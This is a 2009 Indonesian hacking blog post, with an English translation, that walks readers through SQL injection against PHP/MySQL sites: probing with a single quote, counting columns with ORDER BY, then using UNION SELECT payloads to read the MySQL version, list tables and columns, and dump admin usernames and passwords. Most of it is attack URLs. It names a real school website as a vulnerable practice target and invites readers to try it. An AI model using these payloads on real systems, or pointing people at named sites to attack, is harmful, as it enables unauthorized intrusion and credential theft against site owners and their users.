Jumat, 01 Mei 2009

cara hacking web.....jadul

saat ini saya rasa sudah tidak jaman lagi untuk saling kick (maaf..) tapi sekarang jamannya hacker merajalela. di negeri paman sam, banyak anak umur 12 tahun bisa membobol sebuah site hanya bermodal google. YA... google adalah alat hacking yang saat ini masih tetap berjaya dan AMPUH..

TO THE POINT..

saya akan menjelaskan tehnik hacking dengan menggunakan SQL INJECTION..
yang akan saya uraikan disini adalah untuk PHP versi 5.. untuk versi 4 saya sambung lain kali jika memang banyak peminatnya...

ok.. lets begin..

Tools yang kita butuhkan:
1. PC
2. Modem
3. Web browser ( Internet Explorer atau firefox. tapi saya anjurkan untuk memakai firefox )

Langkah-langkah:

1.) Cek Lubang/bug/celah/kesalahan pada suatu site

Misalkan kita mendapatkan target

Code:
http://www.target.com/news.php?id=5


Sekarang kita test ada bugnya atau tidak website itu dengan menambahkan di url dengan tanda petik satu atau ( ' )

Code:
contoh http://www.target.com/news.php?id=5'


Jika mucul error

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

Atau Yang mendekati

Itu berarti kita bisa gunakan SQL Injection

2). Mencari nomor dari kolom yang akan kita gunakan untuk melihat isi password atau username.

Untuk mencari nomor dari kolom kita menggunakan perintah ORDER BY

Kita melakukan perurutan nomor sampai ada error

Code:
http://www.target.com/news.php?id=5+order+by+1/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+2/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+3/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+4/*
<- error

(kita akan mendapatkan pesan seperti Unknown column '4' in 'order clause' atau sesuatu seperti itu.

Berarti kita mendapatkan kolomnya, ya itu 3, karena di 4 error.

Sedikit penjelasan, dalam penggunaan ORDER BY kita mencari pertemuan dimana website itu menjadi error dan tidak, setelah itu mendapatkannya, kita ambil yg tidak error terakhir sebelum keluar error.

3). Menggunakan fungsi UNION

Dengan menggunakan UNION kita dapat memilih lebih banyak data dalam satu statemen sql.

Jadi kita mendapatkan

Code:
http://www.target.com/news.php?id=5+UNION+SELECT+1,2,3/*
(kita telah menemukan bahwa nomor dari kolom-kolom adalah 3 di dalam bagian 2)

Sekarang lihat pada artikel, artikelnya akan berubah jadi nomor 1 atau 2 atau 3 atau keluar semuanya, itu lah gunanya UNION

4). Check versi dari MySQL

Code:
http://www.target.com/news.php?id=5+union+select+1,2,3/*


NOTE: jika /* tidak bisa atau terjadi error, coba dengan -

ini merupakan suatu komentar penting bagi query kita untuk bekerja dengan baik.

Misalkan kita mendapatkan nomor 2 di dalam tampilan, sekarang kita cek verisinya

kita buang nomor 2, ganti dengan version() atau @@version nanti akan mendapatkan seperti 4.1.33-log atau 5.0.45 atau yang mendekati.

Contoh tampilan :
Code:
http://www.target.com/news.php?id=5+union+select+1,@@version,3/*


Jika kamu mendapatkan error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

Yang kita butuhkan adalah fungsi convert()

contoh :

Code:
http://www.target.com/news.php?id=5+union+select+1,convert(@@version+using+latin1),3/*


atau dengan hex() dan unhex()

contoh :

Code:
http://www.target.com/news.php?id=5+union+all+select+1,unhex(hex(@@version)),3/*


dan kamu akan mendapatan versi MySql :D

5). Mendapatkan table dan nama column

Jika versi MySQL adalah 5 (contoh : 5.0.45, 5.0.51a-community...)

- Mencari Table

Contoh Nomor yang keluar ada 2, jadi kita masukan perintah injekan di nomor 2

Code:
http://www.target.com/news.php?id=5+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1/*


Untuk melihat table selanjutnya kita rubah limit+0,1/* menjadi limit+1,1/* lalu limit+2,1/* dst.

Sampai tabel yang dinginkan, contoh table admin

- Mencari Column

Sekarang kita cari column pada table admin

Code:
http://www.target.com/news.php?id=5+union+select+1,column_name,3+from+information_schema.columns+where+table_name='admin'+limit+0,1/*

Setandarnya bisa menggunakan itu jika quotenya off, tetapi jika quote on nama table harus di encode dengan hexa

admin = 61646D696E

Untuk dapat di baca oleh perintah SQL, harus di tambahakan 0x sihingga menjadi 0×61646D696E

Code:
http://www.target.com/news.php?id=5+union+select+1,column_name,3+from+information_schema.columns+where+table_name=0×61646D696E+limit+0,1/*


Untuk melihat colum selanjutnya tinggal merubah limitnya seperti table diatas.

Contoh column yang keluar username dan password

Sekarang kita lihat datanya :D

Code:
http://www.target.com/news.php?id=5+union+select+1,username,3+from+admin/*


Contoh data yang keluar : admin

Code:
http://www.target.com/news.php?id=5+union+select+1,password,3+from+admin/*


Contoh data yang keluar : p45w0rd

sekarang kita harus menyelesaikan query biar terlihat bagus :)

untuk itu kita menggunakan fungsi concat() (merupakan penggabungan strings)

contoh :

Quote:
http://www.target.com/news.php?id=5+union+all+select+1,concat(username,0×3a,password),3+from+admin/*

catatan : 0×3a, adalah nilai hex dari 3a, sedangkan 0x merupakan tambahan untuk dapat di baca oleh URL

(ada cara lain untuk itu dengan menggunakan, char(58), merupakan dari nilai decimal )

Code:
http://www.target.com/news.php?id=5+union+all+select+1,concat(username,char(58),password),3+from+admin/*


Maka akan muncul tampilan data : admin:p45w0rd

nah.. mudah kan? untuk penjelasan tentang bahasa pemrograman tersebut, bisa kalian buka dan pelari di http://www.w3schools.com

ini saya udah nemuin situs indo yang vuln/vulnerable/bisa pakai SQL injection untuk latihan..

http://www.smpk-stagnes-sby.sch.id/index.php?berita=5

silahkan ditest.. semoga berhasil..

maaf kalo mungkin ada yang sekolah disitu...

saya harap kalian tidak merusak isi website itu.. tolong hargai sang Admin yang sudah membuat site tersebut dengan susah payah..
setelah kalian tau passnya kalian bisa hubungi sang admin supaya dia tau kesalahan dia itu apa.

sekian dan terima kasih..

Thanks for all my best friends..

1. Xshadow (u're da best)
2. lil_sawa (thanks for ur tutor)
3. m4m4ms (thanks for ur luv)
4. all members in yogyafree


NB: untuk info lebih lanjut add nick saya aja.. :) gratis.. saya tidak meminta imbalan apapun.. kalo memang mau kasih donasi juga gapapa...yang penting ikhlas.. :) daripada nyuri ga dapet berkah :)

SALAM HANGAT...

s2006

Quote:
Sorry before to Mr. Mod.. I don't know where I have to posted..

Nowadays it's not the time for kicking each otherss (sorry...) But it's time for hacker evrywhere. In U.S, many kids 12 years old can break into one site by using google only. YUP.. Google is hacking tools, that still doing very well and very effective..

TO THE POINT..

I will explain the hacking techniques by using SQL INJECTION..
that I will describe here is for PHP 4 versions.. For 5 versions, I will continue next time, if there's a lot people who interests...

ok.. lets begin..

Tools that we needs:
1. PC
2. Modem
3. Web browser ( Internet Explorer or firefox. but I suggest to use firefox )

The steps :

1.) Check the hole/bug/groove/weakness of the sites

For exampe if we found the target

Code:
http://www.target.com/news.php?id=5


Now we test that websites if there's a bug or not by adding in url with single mark or ( ' )

Code:
contoh http://www.target.com/news.php?id=5'


If appearence is error

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

Or near with

It means we can use SQL Injection

2). Find number and column that we use to see passwords inside or username

To find number from column, we use command ORDER BY

We do numbering until the error appears

Code:
http://www.target.com/news.php?id=5+order+by+1/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+2/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+3/*
<- no error

Code:
http://www.target.com/news.php?id=5+order+by+4/*
<- error

(we will get the message like Unknown column '4' in 'order clause' or something like that.

It means we get the columns, it's 3, because in 4 is error.

Liittle explanations, in ORDER BY function, we find the meeting where's the website become error and not, after that to get it, we took some that it's not error lastly before it's appeared error.

3). Using UNION Functions

By using UNION we can choose many datas in one sql statement

So we find

Code:
http://www.target.com/news.php?id=5+UNION+SELECT+1,2,3/*
(we have found the numbers of the columns is 3 inside part 2)

Now, see the article, the article will change become no. 1 or 2 or 3 or getting out all of them. It's the function of UNION

4). Check the MySQL versions

Code:
http://www.target.com/news.php?id=5+union+select+1,2,3/*


NOTE: If the /* can't be functioned or error happened, try with -

It's an important comment for our query to work better.

for example we get number 2 inside the display, now we check the versions

kita throw number 2 away, change with the versions() or @@version, so we can get 5.0.45 or the nearest byi.

Display samples :
Code:
http://www.target.com/news.php?id=5+union+select+1,@@version,3/*


If you get error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

That we need is convert() functions

Example :

Code:
http://www.target.com/news.php?id=5+union+select+1,convert(@@version+using+latin1),3/*


or with hex() and unhex()

examples :

Code:
http://www.target.com/news.php?id=5+union+all+select+1,unhex(hex(@@version)),3/*


you will find MySql versions

5). Find the table and column's name

If the versions of MySQL is 5 (examples : 5.0.45, 5.0.51a-community...)

- Find the Table

Example : the number appear 2, so we enter command in number 2

Code:
http://www.target.com/news.php?id=5+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1/*


To see the next table, we change the limit+0,1/* into limit+1,1/* then limit+2,1/* so on.

Until the table that we want, example admin€ table

- Find the column

Now we find the column in admin table

Code:
http://www.target.com/news.php?id=5+union+select+1,column_name,3+from+information_schema.columns+where+table_name='admin'+limit+0,1/*


For the standard, we can use it if the quote is off, but if the quote is on, the name of the table have to encoded with hexa

admin = 61646D696E

For reading by SQL command, have to add 0x become 0×61646D696E

Code:
http://www.target.com/news.php?id=5+union+select+1,column_name,3+from+information_schema.columns+where+table_name=0×61646D696E+limit+0,1/*


To see the next column, just change the limit like the table above.

Samples of the column that results username and the password

Now see the datas

Code:
http://www.target.com/news.php?id=5+union+select+1,username,3+from+admin/*


The appeared data : admin

Code:
http://www.target.com/news.php?id=5+union+select+1,password,3+from+admin/*


Example the appearing data : p45w0rd

We have to finish query, it appears nicely

We can use concat() function (it's string joining)

Examples :

Quote:
http://www.target.com/news.php?id=5+union+all+select+1,concat(username,0×3a,password),3+from+admin/*

Notes : 0×3a, it's value of hex fromi 3a, meanwhile 0x it's adding to get read by URL

(There's another way for that, by using, char(58), it's decimal value )

Code:
http://www.target.com/news.php?id=5+union+all+select+1,concat(username,char(58),password),3+from+admin/*


It will appear in data's display : admin:p45w0rd

It's easy right ? For programming language explanation, you can read in http://www.w3schools.com

I've already found indonesian sites that vuln/vulnerable/able to use SQL injection for training..

http://www.smpk-stagnes-sby.sch.id/index.php?berita=5

Have a tryt.. Good Luckl..

I'm sorry if somebody study there...

I hope you don't destruct the website content.. Please do respect the Admin who have made the site by working hard..
After you have found the password just contact the admin so he know what's the mistake.

That's all and thank you..

Thanks for all my best friends..

1. Xshadow (u're da best)
2. lil_sawa (thanks for ur tutor)
3. m4m4ms (thanks for ur luv)
4. all members in yogyafree


NB: For the next info just add my nick.. Free.. I dont ask the money.. But if you want to donate that's ok...The important thing is you give me freely.. It's better than steal you don't get anything

1 komentar:

Anonim mengatakan...

semoga berhasil dol